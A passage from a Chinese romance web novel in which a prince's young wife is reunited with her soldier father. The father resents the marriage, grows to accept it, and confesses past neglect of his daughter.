王府太大,从她住的院子到主院,路程不短。 她踉踉跄跄、磕磕绊绊地,能走完这一段路,可吃了好一番苦头。 宋星糖气得不行,走没两步又开始抹眼泪。 “分明说过好多次停下,还是不听,我果然就不该相信他。” “上回也是如此,他莫不是以为我忘了?他就仗着我记性不好,总欺负我。” “也怪我,说好六个时辰不理他的,结果给忘了,写纸条上也没用,我怎么这么没用啊。” “我果然天生就是给人欺负的吧呜呜呜呜。” 等她拖着酸痛无力的双腿,跋山涉水,好不容易到时,只觉得怒火中烧,她一抹眼泪,气沉丹田。 没了眼泪,她双眼便只剩了火,一抬头,瞥见前方那道挺拔身影,心底恼意更甚。 她叉着腰,肆无忌惮宣泄不满:“你耳朵掉了吗?叫你半天才出来!” 自从二人相识,她还从未发过这么大的火。 就连一直伺候她,看她长大的宋府旧仆也都没见过这阵仗。 此时此刻,不管是哪边的仆从,各个皆停在原地,不敢出声。 沈昭予没有如往常一样,立刻朝她走来。 这叫宋星糖心里更加难过。 他果然变了,圆了房,得到了她,一切就都变了!这就是男人吗? 眼泪啪嗒啪嗒地往下掉,她不服气,继续一瘸一拐地往前走。 嘴里呜呜咽咽,念念叨叨: “阿娘说,男人说话似放屁,话糙理不糙,今日我也算领教了。” “书里的女鬼也说,千万不要信男人在床上说的话,这话也是真理。” 此言一出,一切都再无辩驳的余地。 沈昭予感受到背后那道阴冷锋利的死亡凝视,心中长长哀叹一声。 罢了,得罪一个,总好过两个都得罪。 他不再犹豫,阔步朝她走去。 宋星糖见他来,眼泪掉得更加起劲,整夜的劳累,清醒时的痛苦,这一路的难受,皆化为诉不完、倒不尽的委屈,复杂的情绪随着他愈来愈近的步子,步步攀升,直至顶峰。 她再说不出任何埋怨的话,就只想哭。 口中不住发出“呜呜”的声音,见他如一阵风般,片刻就能到眼前,她干脆停在原地不走了,只等他来。 一眨眼功夫,她便被人拥入怀里。 沈昭予顶着背后想将他千刀万剐的腾腾杀气,偷偷在她鬓角印下一吻。 他轻声道:“有事找我,差人传话即可,何苦这一路走来。跟我赌气,伤的还是自己。” 宋星糖哭哭啼啼,哼哼唧唧,软在他怀里撒娇,“我累,我困,你怎么跑了呀……” “……是糖糖吗?” 嗯? 宋星糖仰头看向沈昭予,懵懵地:“我做梦呢?怎么听到我爹爹的声音了?” 沈昭予叹了一声,将她松开,往旁边让开一步。 视线再无遮挡,宋星糖看着面前高大强壮的中年男子。 她愣了半晌,才惊呼一声: “爹爹!你怎么黑成这样了?!” 众人:“……” 宋鸿板着脸走近,斜着眼睛,面色不善地睨了一眼沈昭予。 而后转看向宋星糖,上下打量。他是过来人,怎会看不出女儿身上的蹊跷。 沈昭予若无其事地移开目光,避其锋芒。 这下好了,岳父眼睛里半点欣赏都不剩,只剩下敌意与杀气。 观其姿态,再结合方才那几句好话,宋鸿还有什么不明白的。 他只觉得气血翻涌,心中燃起强烈的杀意,若非还勉强保有一丝理智,他只恨不得拔出腰间宝刀,那这个人面兽心的衣冠禽兽给砍个稀巴烂! 然而他不能。 他的腰刀在入府那一刻便被护卫卸了。 宋鸿拳头捏得梆硬,牙关紧咬,仔细听还能听到牙齿摩擦的声响,他使了全身的力气才挤出几个字:“你们,怎么回事?” 宋星糖以为他在问自己为何会哭,毕竟她从前在家时都很少哭的。 在父母前,她很懂事。 也就只有面对沈昭予,她才能把自己全部摊开。 她不好意思地往沈昭予身后躲,拉过他的袖子擦眼泪,心虚道:“也没什么呀,就是他教我读书,熬得太晚了,累。” 宋鸿冷笑了声,“你们读的,是正经书吗。” 沈昭予:“……” “嗯?这话好耳熟哦,”宋星糖没头没脑地,拿手指戳了戳沈昭予,“这话你是不是也说过呀?在我家的时候。” 沈昭予:“……” 小祖宗,就别火上浇油了。 “殿下去过‘我家’?”宋鸿眼锋如剑,咬牙切齿,“看来怀王殿下对末将隐瞒了不少。” “对呀爹爹,他当然去过,他还住了一个多月呢。” “他是我的夫君,当然要和我住在一起嘛。”宋星糖红着脸,神情扭捏,“还要多亏爹爹的好主意,我才能招到这么好的赘婿。” 宋鸿:? 不是,等等。 “夫君?住在一起?赘婿??” 一个接一个词,砸得宋鸿毫无还手之力。 他哆嗦着嘴唇,努力消化短短一句话中带来的巨大信息量。 半晌,化为一句不可置信的质疑: “你,赘婿?!” 沈昭予抬手按了按太阳穴,“宋将军,先进去,再容本王解释给你听。” 他无奈地瞥了一眼一无所知的罪魁祸首。 “嗯?怎么啦?” 宋星糖眨巴着大眼睛,冲他咧嘴一笑。 爹爹来了,她心里开心,便什么矛盾都忘了。 沈昭予:“……” 当着人家爹的面,也不好再多做亲昵举动。 沈昭予心累地摇摇头,摆手回屋。 第85章 第85章“他这么好,你不能那么…… 【85】 “事情还要从三月说起。” “三月末。” “嗯?三月末吗?鱼鱼你记性真好呀!” 宋鸿脸色麻木,眼睛直勾勾地盯着上首位的男人。 正襟危坐,人模人样,呵。 乘虚而入,趁人之危,呵呵。 若要沈昭予来讲,必定三言两语便能把事情交代清楚。 可宋鸿不要听他说话。 于是接下来的一个时辰里,宋星糖手舞足蹈、激动万分地讲述了她与“赵鱼”相识相遇相知的全部事迹。 刚开始讲,父女二人就针对“到底是谁出了招赘主意”的问题展开了激烈探讨。 “难道不是爹爹你在信里给阿娘出的主意吗?让我招一门赘婿替我料理家业,我都是按照你说的做的呀。” 面对女儿无辜且天真的质问,宋鸿陷入长久的沉默。 他一言难尽地看了一眼沈昭予,好似在说,这般不靠谱的言论,也能轻易取信于人吗? 宋星糖见他不信,心里老大不乐意。 她现在变聪明不少,怎能容忍至亲之人还把她当傻子看。 她让李嬷嬷去把信拿来,念给他听。 宋鸿听完以后,整个人更加沉默。 也不知是震惊于女儿匪夷所思的理解力,还是想起旧事,陷入了 对亡妻的感怀中。 宋星糖见爹爹无话可说,十分得意,继续昂着下巴,将这几月的事娓娓道来。 宋鸿虽面上不显,但眼里的情绪可谓精彩纷呈,到关键时,还流露出对后续的期待。 沈昭予撑着头,弯唇轻笑。 看来这位宋将军,也和女儿一样喜欢听故事。 只是这“缠绵悱恻”的爱情故事发生在自家女儿身上,便要在诸多情绪中多加上一层——恼怒。 这种恼怒的情绪,在看到婢女受主子吩咐,捧上来一个腰靠给宋星糖垫在身后时,达到了顶峰。 他面色铁青,一拍桌子! 一语未发,只用十分严厉、苛责的目光盯着宋星糖瞧。 巨大的声音把宋星糖吓了一跳,灿烂的笑凝固在脸上,而后慢慢收敛,她垂下头,收了挥舞的手,把卷起的袖子撂下去,规规矩矩老老实实地坐好,不说话了。 沈昭予顿时沉下脸,坐直身,以冷淡的目光,审视宋鸿。 宋鸿冷笑道:“怀王殿下屈尊降贵,给小女做婿,只为肃清江南官场,这代价未免太大,常闻殿下为达目的不择手段,不曾想,连伺候人这种丢脸面的活儿殿下也乐意干。” 看着宋星糖愈发垂低的脑袋,沈昭予心中最后一点耐心也没了。 他只是看在宋鸿是她父亲的份上,才愿意以礼相待。可若宋鸿连自己女儿都要责怪,叫他如何能容忍? 沈昭予冷笑一声:“原来在将军眼中,照顾你的女儿,是件丢脸下贱的事。” 宋鸿皱了皱眉,“我不——” 沈昭予缓步走下,居高临下,睥睨着他,声音泛着冷意:“本王所做之事,从无后悔,皆是心甘情愿,在本王心里,事只分值不值得,不分等级贵贱,只要本王愿意,那便是全天下最无价之事。” “未曾经过三书六礼,这婚事如何能作数?况且你们还——” 无媒苟合四字太重太难听,宋鸿到底没说出口。 可沈昭予从他的眼神神态中读了出来,沈昭予嘲讽道:“将军为家国奉献良多,本王有一问,还请将军为本王解惑。若你一日寻不到本王,是否就要让糖儿等你一日,等到她二十岁,三十岁?” 宋鸿张嘴,正欲说话,却又听男人冷嘲热讽道: “哦不,本王说多了,她或许活不到三十岁、二十岁,便会被二房吃得骨头都不剩,那时自然也不用等将军回家。” 宋鸿被噎得说不出话来,面上一阵青一阵白。 被锦衣玉食养出来的女儿,家中再无父母依靠,会面对怎样的险境,他自然能想到。 然而身为父亲,宋鸿不容外人置喙他的家事:“怀王殿下若想得到什么,自是易如反掌,她会错认信中所言,寻觅赘婿解忧,可殿下是聪明人,不会被她牵着鼻子走。殿下前来应选,总不会是旁人逼迫。我宋家有什么值得殿下图谋的,叫殿下屈居敝府,只做个赘婿?” 宋鸿不信如怀王这般位高权重之人,会没有自己的心机谋算,会好心到去帮扶他女儿这样的弱者。 “宋将军。”沈昭予冷淡倨傲地看着对方,漠然道,“你与其担心本王图谋不轨,还不如多关心关心,你的女儿在你失踪这段时间,都吃了多少苦头。” 自重逢,宋鸿句句指责质疑,并无身为人父该有的关怀关爱。 也难怪宋星糖时常把她阿娘挂在嘴边,却少提父亲。 言语体现立场,沈昭予显然要比宋鸿更加关心宋星糖。 宋鸿哑口无言。 空气中火药味弥漫,宋星糖吸了吸鼻子。 “爹爹,你别这么说他,”情绪低落的女子忽然出声,她依旧没敢抬头看人,只盯着自己裙子上的花纹,喃喃道,“他待我很好,我能分得清是谁是真情,谁是假意。” “我没你想的那么笨的……” 话音很轻,才出口,便飘散在空气里。 沈昭予的心似被人狠狠捏了一把,他忍无可忍,抬手按住她的脑袋,靠进自己的怀中。 她身子轻轻发抖,在努力克制着什么,头抵在男人的腰腹,又道:“他对不起我的地方,我都一一回敬过去了,我不吃亏,我将他休弃,便是作为惩罚。” “他的身份,我的身份,这之间的差距,女儿自然清楚,女儿不是傻子。” “我也想过,就那么算了的,可他又回来寻我,带我找到了爹爹你,他这么好,你不能那么说他。” “我虽然曾经休了他,但昨晚我已将休书撕毁,只当没有过那一遭,我和他现在还是夫妻,是一体的,爹爹骂他,就是骂我。” 小姑娘越说越觉得自己可怜,连带着所有的委屈又都回忆起来。 “当然了,爹爹骂我就骂了,我又不是什么重要的人,呜呜。” 沈昭予手拍她后背,拧眉道:“他以前时常骂你?” 宋鸿:? 宋星糖点了点头,两手揪着男人的腰带,委屈巴巴地:“是呢,只是阿娘在的话,会好一些。” 宋鸿:“……” 怎么还告状呢? 他也没有吧。 沈昭予目光极冷,刺向宋鸿,“他以后都不能再骂你,别怕。” “呜,嗯嗯嗯。” 女儿的胳膊肘使劲往外拐,这叫宋鸿的一张老脸无处搁,他绷着脸,语气生硬:“末将管束女儿,与殿下何干?” 沈昭予凤眸微眯,缓声道:“这是在本王府上,只有本王训斥旁人的份,将军若不满,大可以出去,莫要在本王地盘上撒野。” “你——!!” “糖儿,我陪你去用膳,好不好?” 男人一瞬转变为另一副面孔,柔情似水,嗓音极轻,看得宋鸿一愣一愣的。 宋星糖往他怀里缩了缩,没什么精神地:“嗯。” 宋鸿:“……” 他多余了,是吧。 不对啊,他还没找怀王算账,怎么就让他把人带走了?! 等他反应过来,两人已经相携离开,渐行渐远。 宋鸿追出去,灵敏的耳力令他听清远处二人的对话—— “你别把我爹爹赶出去。” “当然,我只是吓唬他,他毕竟是你父亲。” “阿娘不在,他心里难过,所以才会乱发脾气,你别跟他计较。” “不会,他生了糖儿这般聪慧又体贴的女儿,我只会感谢,不会记恨他。” “咦?我聪慧?还体贴?” “哦,说错了,糖儿不止聪慧又体贴,还温柔可爱,通透赤城。” “哇!我有你说的这么好呀!真的嘛真的嘛!” “千真万确,我说过不再骗你。” “嘿嘿,嘿嘿嘿。既然我这么好,那……” “嗯?” 听声音十分羞赧:“你能不能背着我?腿酸酸的。” 男人轻笑:“来。” 高高在上的男人低下骄傲的头颅,在人前半蹲下去,笑着回身看她,“上来,背你。” 小姑娘笑嘻嘻地爬上温暖宽阔的后背,手臂圈紧,红着脸,飞快地在他侧脸上亲了一下。 大庭广众,羞耻心作祟,她面红耳赤地,把脑袋埋下去。 沈昭予低眉浅笑,稳稳托着人,步子徐缓。 “鱼鱼,谢谢你,幸好有你。” 背上人依赖地蹭着他,他仰头看着高高的围墙,越过围墙,又远眺至那座富丽堂皇、雄伟壮 丽的,最安全、也最如牢笼般的宫殿。 “该是我谢谢你才是。” 从今往后,这条路,他终于不再是一个人走了。 ** 宋鸿揣着证据,秘密入京,为防走漏风声,以及他的安危着想,除了王府,他也没地方能去。 日子一晃半个月过去,宋鸿依旧热衷于找怀王殿下的茬。 或许全天下的父亲对于拐走自己女儿的毛小子,都是左看右看觉得不顺眼。 更别提他家这小丫头天真好骗,对方还是权倾朝野、手握重兵、满腹算计的成熟男人。 对于宋鸿的针对,沈昭予表现出前所未有的大度。 这叫一众下属皆疑心自家主子这层皮下,其实换了一个灵魂。 他们不知,背后是宋星糖在哄: “阿娘不在了,没人哄他,你就让让他吧。” 温声软语在侧,再捧着他的脸亲几下,心里有再多气都散了。 这半个月中宋星糖只出府门一次,那就是言婉成婚。 其余的时间,她都专心在家中作画。 这日白天,沈昭予照常不在,宋鸿闲来无事,蹲在院子门口擦自己的宝刀,余光瞥一眼画画的女儿,心中嘀咕她何时有了这个爱好,耳朵听妙荷与青鸾聊天。 “听说你家主子这几日总往军营跑?他不是在西北领兵打仗吗?连京城的兵也能管?” 为照顾宋鸿的面子,宋府旧仆把“姑爷”的称呼改成了“你家主子”,以防自家老爷再受刺激。 青鸾知无不言:“殿下统领天下兵马,不拘于西北一支。” 宋鸿默默点了点头,这也是他会带着证据远赴西北的原因之一。 一是因为怀王靠谱,二是因为他权势够大。 “那我就想不明白了,人家不都说皇帝最忌惮这种吗?怎么你家主子这么好命,呼风唤雨的,跟皇帝也没两样了。” 宋府一众人早经历过沈昭予铁血手腕肃清内宅的事,知道这府上如铁桶一般,外头一只苍蝇都放不进来,所以在自己家里,说起话来自然是毫无顾忌,不怕被人听去。 宋鸿不知,他眉头紧蹙,正要训斥妙荷口无遮拦,就听青鸾说道: “我们殿下并非好命,而是如今的局势已然落定,你们若早几年认识我家殿下,便知他不是这样。” 一个敢问,一个敢回。 宋鸿心知其中必有他不知的内情,谨慎地闭紧嘴巴,安静听着,不再动打断的心思。 青鸾又道:“能有如今的权势,也是他努力多年的结果,与多方周旋,费尽心力,前朝后宫,内朝边境,需要平衡的势力太多,如今可谓尘埃落定,算结束了吧。” 妙荷乐了,“那我们还赶上好日子了?” 青鸾笑了笑,点头。 宋鸿适时咳嗽一声,见众人看过来,他道:“内宅妇人,莫要妄议朝政。” 妙荷不屑地扁扁嘴,嘟囔道:“从前姑爷可不管我们这些。” 她一心向着宋星糖,自然是谁对主子好,那她就给谁好脸色。 她见证过沈昭予是如何待宋星糖的,再对比宋鸿,心里自然有偏向。 宋鸿:“……” 真是反了天了。 “我听人说,陛下身子一日不如一日,可是真的?若他真的……那是哪位皇子继位啊?” 青鸾这回不说话了,只是垂眸笑着,一味摇头。 妙荷见状也不再提。 宋鸿眉头一皱,心里忽然有个不好的预感,没等他深思,便听宋星糖欢呼一声:“好耶!画完啦!” 一众婢女皆围上去。 这个说:“姑娘的画功又进益了!” 那个说:“殿下回来后看到,不定多高兴呢!” 左一句“姑娘厉害”,右一句“真乃京城第一画师”,把宋星糖夸得嘴角升天,合不拢嘴。 “哎呀,也没你们说得那么厉害嘛,言姐姐就比我强,还有周姐姐,我见过她们的画,都堪称一绝。” 宋星糖以袖遮面,只露出两只亮闪闪的眼睛,嘴里说着谦虚的话,眼中却透露出还要听夸的渴望与期待。 巧杏察言观色,立马会意:“她们可没姑娘这般细致入微,而且她们学了多少年,姑娘才画多久,有朝一日莫说全京城,全天下都找不出比姑娘还厉害的啦!” “哎呀哎呀,你们真是,哎呀……” 宋星糖如愿以偿,捧着一张红扑扑的脸,羞赧地跑了。 房门关死,众人对视一笑。 李嬷嬷要把画收起来,宋鸿道了声“慢”,走过去仔细端详。 “这……” 一看,他大骇。 “她画的这是怀王?” 简直惟妙惟肖,比宋鸿见过的所有画师都要技艺高超。 李嬷嬷笑道:“是呢,姑娘最喜欢画的就是怀王殿下。” 不管是以前的假脸还是现在的真容,画了不知多少。 宋鸿哑声道:“我还以为,你们在哄她。” 妙荷哼了声,抱起画作,“以为我们拿她当小孩子,信口胡说?” 宋鸿沉默着。 “姑爷都交代过我们,不让我们拿她当个笨……咳,当懵懂无知的小孩子,姑爷说,姑娘什么都晓得,只是都憋在心里说不出来罢了。” 妙荷皱着鼻子,语气中难掩抱怨:“老爷离家太久,不知在姑爷的悉心引导下,她早就不是从前那个她。士别三日当刮目相待,更何况她身边多了那样厉害的人物,学有所成才是理所应当的吧。” 李嬷嬷扯了下妙荷的袖子,叫她莫要再说。 宋鸿嘴里发苦,勉强笑道:“他……还教她?” 妙荷抱着画走了,李嬷嬷叹道:“怀王殿下在姑娘面前,总是耐心十足,是旁人皆不必得的。这么多年,老奴也就见着这么一个人,当真是把姑娘捧在手心里,小心呵护,耐心滋养的。” 宋鸿无话可说,转身往外走。他才迈一步,房门忽然打开。 宋星糖问:“到申时了吗?” 青鸾看一眼天色:“到了。” 宋星糖提着裙子往外跑,路过宋鸿时没停,就这么跑出院子。 宋鸿茫然四顾,院里其余人皆了然一笑。 “到殿下回来的时辰了。” “真是一刻都等不得。” 宋鸿忙问:“她怎知怀王何时回家?” 青鸾笑道:“将军有所不知,从前在越州时,姑娘总是空等殿下,等他回家,等他用膳,等他睡觉,殿下心疼她,所以若是能确定自己何时归家,就会告诉她准确的时辰,若是不能,或者忽然被事绊住脚,他就会差人送口信回来。若无意外,殿下都会按照约定的时辰,准时回家。” 果然,远远地听小姑娘兴奋喊了一声:“鱼鱼!” 宋府仆从皆摇头失笑,各自散去,忙自己的。 唯有宋鸿脚底下如钉住一般,他紧盯着院门方向。虽然看不到人影,却能听到二人的声音。 “鱼鱼鱼鱼,你可算回来了,我有道题怎么都算不明白,是怎么回事呀?你快教教我。” 她的声音听起来闷声闷气,好似是把头埋在哪里说的。 男人许是一日说了太多的话,声音有些哑,他轻声笑道:“请说。” “今有邪田,一头广三十步,一头广四十二步,正从六十四步,问田几何?” “答案说是九亩一百四十四步,可是我算了半晌,也未算出这个数,你说,书是不是写错了呀?” 宋鸿:? 他以为怀王定会申斥其自大,不在自己身上找原因,反而去挑别人的错。 怎料男人只是低低一笑,问道:“糖儿可记得术曰?” “记得呀,我背给你听噢,”宋星糖清了清嗓子,一本正经,听声音摇头晃脑地,“术曰:并两邪而半之,以乘正从若广。” 话音落,她不确定地问道:“我背得对吧?” “糖儿所记一字不差,”沈昭予不吝称赞,极有耐心地引导,“两邪分别是多少呢?” “三十和四十二呀。” “正从又是几何?” “六十四。” “相乘呢?”沈昭予笑道,“可是十九亩四十八步?” 宋星糖一惊:“对呀!我算的就是这个数!你看!就是书错了叭?!” 沈昭予笑个不停,提醒道:“书没错,糖儿不妨再仔细回忆一下,方才背诵的内容。” 他说完,也不催,揽着她往回走。 这会儿他们已经出现在宋鸿的视线里,宋鸿终于看清,二人的表情。 高大的男子面上丝毫不耐与鄙夷都没有,眸光温柔似水,唇边始终挂着如沐春风的笑意。而他臂弯里揽着的女子,眉头紧锁,如临大敌,是宋鸿从未见过的认真模样。 一道简单的算题,若是放在宋氏任 何一个掌柜身上,都是小菜一碟。 题目本身,并不值得人侧目。 令人惊诧的,是做题者,竟是他那素来不学无术,厌学的女儿。 宋鸿默不作声蹲回角落,继续擦刀。 沈昭予坐在石桌上,拿了卷书随意翻看。 天色渐渐暗了。 沈昭予在场,没有人会打扰宋星糖思索“难题”。 临近晚膳的时辰,宋鸿几乎把刚才的事忘了。 忽然听宋星糖惊呼一声,恍然大悟:“原来我忘记‘半之’了!!” 她懊恼道:“我还在算,是否亩数算错了,二百四十步为一亩,以为差的那一半在这里,结果……哎呦!我太笨了!谬误之处竟如此明显!” 沈昭予放下书,拿过她手中的笔,在空白处洋洋洒洒写下术式,而后在“两邪”与“半之”中间画了一条竖线。 说道:“不怪糖儿忽略,是应该这样将句断开,否则算完两邪之和,极易忽视后半句话,转而去做最后一步,将它们乘到一起。” 他瞥见宋星糖闷闷不乐,正恼自己为何这般粗心,遂扔了笔,懒洋洋地笑道: “书不该是有天赋者才能读,当有教无类。可一旦‘理解’所耗的时间变多,势必在这一步便筛掉了大部分的人,就不是人人皆可读了。” “我幼时常拿着书去请教宫中大儒,无需他们教太多,只需要告诉我,如何断句即可,久而久之,触类旁通,学得逐渐就快了。” “所以糖儿不必担忧,更不必怀疑自己比人差,只因你幼时欠缺好的老师教会你读书的方法,所以如今才会觉得吃力。一旦你寻得其法,来日未必不能比我强。” “做事还要讲究个一二三四的先后顺序,只有把第一步走好,才能谈后面,只要耐下心来,总有能成事的那天。” “言之有理,有理有据!” 宋星糖如醍醐灌顶,她觉得自己不仅学会了这道题,甚至连做人的道理都全然顿悟。 他不是在哄她,而是真的在教。 宋星糖像得了宝贝一样,捧着男人的墨宝,哼着歌,美滋滋回房,准备把他的字挂起来。 宋鸿久久怔在原地,难以回神。 “鱼鱼,再学一题吧?我觉得自己思路前所未有之清晰!” “这……怎么办,我饿了。”他笑着,按了一下她的肚子,“不然先用膳?” 宋星糖愣了下,而后听见自己肚子里咕噜一声。 她微红着脸,神情窘迫:“我都把吃饭这事给忘啦,若再做一题,怕是写完我人都饿死啦。” 她只能专注做一件事,一心一意的坏处,是常常因太过沉浸,而忽视周遭所有事,也包括自身体力的局限。 她如一阵风般又飘了出去,对着外头喊:“来人呐,摆饭啦!” “慢些,不急。” 沈昭予抱肩倚门,笑着说道。 宋鸿终于将刀放下,循声望去。 夏日黄昏,余晖如熔金般,洒落在沈昭予带笑的侧脸上。 洒落在那双始终温柔凝望着爱人的眼眸中。 第86章 第86章“好呀好呀,我们到榻上…… 【86】 近来京中人心惶惶,倒不是因为皇帝病重,而是怀王动作频频。 沈昭予早出晚归,除了忙朝中之事,还有件至关重要的人生大事——成婚。 他其实无所谓宋鸿到底同不同意把女儿嫁给他,以他的性子,一旦决定某事,便是天王老子来了也无法阻他。 他计划的大婚会在皇帝病逝之前,而在此之前,宋鸿一直都是个“死人”,不能公然出现在众人视野中,那宋鸿的意愿更是无关紧要。 可宋鸿到底是宋星糖的父亲,沈昭予不得不为她着想,顾虑着她的心情。 不过沈昭予也有底线,那就是婚事是板上钉钉,绝无转圜余地。必要之时,他或许会采取强硬的手段,来达到目的。 这都是后话,最好当然是宋鸿同意,皆大欢喜。 关于大婚的筹备事宜,已然完成九成以上,距离他选定的日子,也只剩半月不到。 宋星糖不知道。 宋鸿也不知道。 怀王娶亲的消息在权贵之间悄悄传开,所有人都在猜测是哪家的姑娘。 居家沉迷作画的宋星糖不知道。 被软禁在王府的宋鸿也不知道。 怀王殿下的属下们训练有素,可宋府仆从没有参过军,更没受过专门的锤炼,一个个心里藏着秘密,怕露馅,都只能躲着人走。 宋星糖好糊弄,可宋鸿不是。 没多久,到底叫宋鸿察觉出异常来。 宋鸿不动神色,每一日照常不给怀王好脸色。 他心里有了猜测,随着对众仆的旁敲侧击,几乎确定了这一猜测。 他既惊又怒,还有几分担忧。 寻常人家的男子尚会三妻四妾,更何况是出身于皇家的王爷。 身份差距太大,往后再多纳两个侧妃,几个小妾,还有宋星糖的容身之地吗? 宋鸿日夜寝食难安,再见沈昭予,更加鼻子不是鼻子,眼睛不是眼睛,看哪儿都不顺心。 沈昭予把这一切都看在眼里。 论揣测人心的本领,无人能出其右。 这夜忙完公务,沈昭予拎着剑,敲响了宋鸿的房门。 “练练。” 他平静道。 宋鸿眼前一亮,勾唇笑了声。 直至天光大亮,见岳父把心里的火气发泄得差不多,沈昭予才认输喊停,优雅地行了礼,飘然退场。 素来只争第一、不取胜便如同要他命的怀王殿下,轻而易举地认输低头。 宋鸿单膝跪地,刀插在黄土中数寸,握着刀的手因脱力而不住地发抖。 他的头发被汗水浸透,满身沙尘,形容狼狈。 一双黑眸熠熠生光,紧盯着男人离去的背影,直至再看不见,他才身子一歪,倒在一旁。 仰躺在黄土地上,望着初升的太阳,释然地长叹一声。 切磋一夜,仍不耽误怀王转日继续繁忙。 这都是在越州历练出来的成果。 沈昭予苦中作乐地想。 等沈昭予再次回到府,天又黑了。 他照常去陪宋星糖读了一会书,照常于一二更交替时离开。 才一动,衣摆便被人紧紧抓住。 沈昭予:? 他笑道:“糖儿还有何吩咐?” 宋星糖眼巴巴地,“你今晚还有事吗?” 沈昭予摇头,他连着忙了几日,该休息了。 “既然如此,那你为何还要走?”小姑娘怨气十足,目光幽幽,“我们已经重新做夫妻了,你就该和我睡一张床。” 沈昭予下意识回头看了一眼门的方向,压低声音:“你父亲在,不方便。” 宋星糖拧眉,“有何不便?他又不和我们挤在一张床上,关他何事?” 沈昭予不知如何同她解释这其中缘由,关于成婚的事,是给她的惊喜,不能说。 他思来想去,只能道:“他还未同意我们在一起,他如今在府上,被他瞧见我留宿你房中,会生气。” 宋星糖这下更不能理解了,她满脸写着疑惑,“他和我娘成亲,也没经过我同意啊,我都没碍着他们一起睡觉,他怎能碍着我?” 沈昭予:? 他捂着头,又气又笑:“再和本王抬杠,小心打你屁股!” 明明是威胁,她听后却眼睛一亮,兴奋道:“好呀好呀,那我们到榻上去打,把我打哭了你得哄我,就别走了。” 为了和他一起睡觉,受点皮肉苦也没什么,反正他也不舍得用力打,嘿嘿。 沈昭予:“……” “你少看那些不正经的书。”沈昭予脸色微红,恼道,“有空多算两道题。” “我没看啊,”宋星糖嘟囔了一声,骄傲挺胸,有种目空一切的傲慢,“我现在每天能做五题,再加两个,又有何难?” 哼,她现在厉害着呢。 “不对,莫要打岔,你不打的话,就上床,我困了!” 宋星糖的记忆力现在也有了显著的提升,已不是旁人随意岔开话题,她就能尽忘的了。 她一边说,一边拉住男人的胳膊,扯着他往卧房拖。 沈昭予手死死按着桌子,无奈道:“在你父亲眼中,我们在越州的成亲不作数,你在他眼中尚未嫁人,他能容忍我待你好,却绝不能容忍我与你同床共枕。” 等到成婚,宋鸿就是有千万个不愿意,也得在心里憋着。 宋星糖使劲掰他的手,用力到气短,呼哧呼哧地喘气,恼道: “你管他作甚?同你成亲的难道不是我吗?你不听我的听他的?当初拜高堂时他不在,也怨不得我啊,谁叫他不在?” “秦大哥主持大婚,秦大哥代表着阿娘,我娘都同意了,爹爹的意见不要紧,别管他。” 沈昭予哭笑不得,“如果以后我们的女儿也如你这般,一心只向夫婿,我只怕要被她气死。” “不行,女儿要像你,我笨笨的,不能像我。” “谁说的,糖儿是我见过最敏锐的女子。”沈昭予抬手掐她的脸,“见你第一面,我就这样觉得。” 宋星糖被夸得找不到北,沈昭予趁机偷偷摸摸起身,往外走。 “哎!哪里跑!” 嘭—— 一颗小炮弹撞得沈昭予险些没站稳。 实在拗不过她,他握住她的手,叹了一声:“好吧,陪你睡,总行了吧?” 在两人的拉扯与较量中,宋星糖屡战屡胜。 她把被子盖过鼻子,眼睛弯成月牙,笑道:“我准备睡了,你开始讲吧。” 沈昭予隔着被子揉揉她的脸,翻开鬼故事。 嗓音温润,低沉琅琅。 故事讲到一半,耳畔便传来小姑娘绵长而平稳的呼吸声。 沈昭予合上书册,探身亲了亲她的额头,翻身下床。 他关好房门,正预备朝自己的院落走,才踏出两步,便蓦地停下。 他倏地转头,锐利的眸光射向房顶,待看清房上之人,微怔。 宋鸿盘腿坐在青瓦上,手举起酒壶,仰头灌了一大口。他没起身行礼,告罪:“末将醉酒失仪,还望殿下海涵。” 沈昭予没言语,在他身侧坐下。 宋鸿并不计较男子的冷淡,自言自语起来。 “我方才梦到她娘了。” 沈昭予掀了眼皮,懒洋洋地看过来。 宋鸿自嘲道:“她娘怪我,说我既然对女儿不好,为何还要拦着别人对她好。” “是,我不如你。” “她小的时候,我在家的时候便不多,你也是领过兵的人,知道战事一起,我们就得去。” “我对阿柔已有颇多亏欠,所以但凡在家,我的全部心思都放在阿柔身上,至于女儿,我顾不上。” “好在她有她娘照管,有一众丫鬟婆子,她自己又是个没心没肺的,多我一个不多,少我一个不少,怎么着都能快快乐乐地长大。” “她很乖,也很少哭,所以我一直没觉得自己待她有些严厉。加上她忘性大,就算被我训过,下次还是会软软地靠过来,抱着我的腿喊爹。” 宋鸿抬手抹了一把眼睛,又咕咚咕咚灌下半坛子酒。 表情似哭似笑,哽咽道:“我,我不知道,我以为她一直过得很好。我不配做父亲。” 沈昭予冷眼看着宋鸿哭诉忏悔。 等他情绪渐渐趋于稳定,沈昭予才平静地问道:“宋将军可否与本王说说,她额角的伤,是怎么来的吗?” 宋鸿表情有一瞬间凝固,他眼睫一颤,避开男人审视的目光,“伤……只是意外,是意外。” “是么。” 沈昭予轻轻一笑,不置可否。 他慢条斯理地理了理袖子,叹道:“看来昨夜的较量中,本王下手终究是轻了。” 宋鸿心头猛跳,酒喝多了,舌头不太利索:“你、你要杀了我?” “怎会,本王只是想着,将军的火气是出了,可本王还吃着亏,心里不太舒坦。” 宋鸿狼狈地垂着头,半晌,才道:“小孩子之间打闹过头,出了人命,若能息事宁人,我还有什么脸计较她的伤。” “哪怕罪魁祸首不是她,你也要让她背负上这个责任,安慰自己,她是自作自受。” 男人声音里的情绪越来越淡,到最后四字,字字结冰。 宋鸿抱着头,痛苦道:“若非宋遥疏通关系,她哪能轻易被人放过,我是她爹,我若有其他的法子,岂会冷眼看她受苦?” “你的无能,你的纵容,造就了她之后十几年被欺凌的命运。”沈昭予道,“宋洛繁至死都以为,当初都是糖儿害了他。” “至死……”宋鸿震惊抬头,“你把宋——” 男人淡淡垂眸,似笑非笑,“本王为她报仇,不应该吗?本王就算把欺负过她的人全杀光,也无人敢置喙。” 宋鸿蓦地失声。 半晌,身子颓丧地瘫软。 天色不早,沈昭予明日还有要事。 他站起身,居高临下,笑道:“将军此时对本王服软,可是听说本王已查清李夫人死因,前来打听的?” 宋鸿不敢抬头看他。 “宋将军,看在你是她父亲的份上,本王可以饶恕你,故意延误她的病情,不予救治,以至于如今这般五感迟缓的罪过。” 宋鸿羞愧得无地自容,“殿下是如何得知……” 她成了人人口中的“傻子”,算是宋鸿在那件事上给受害者的一个“交代”。 沈昭予目光凌厉,语气森然:“作为回报,本王永远不会告诉你,李柔是如何亡故的,又是为何人所害。” 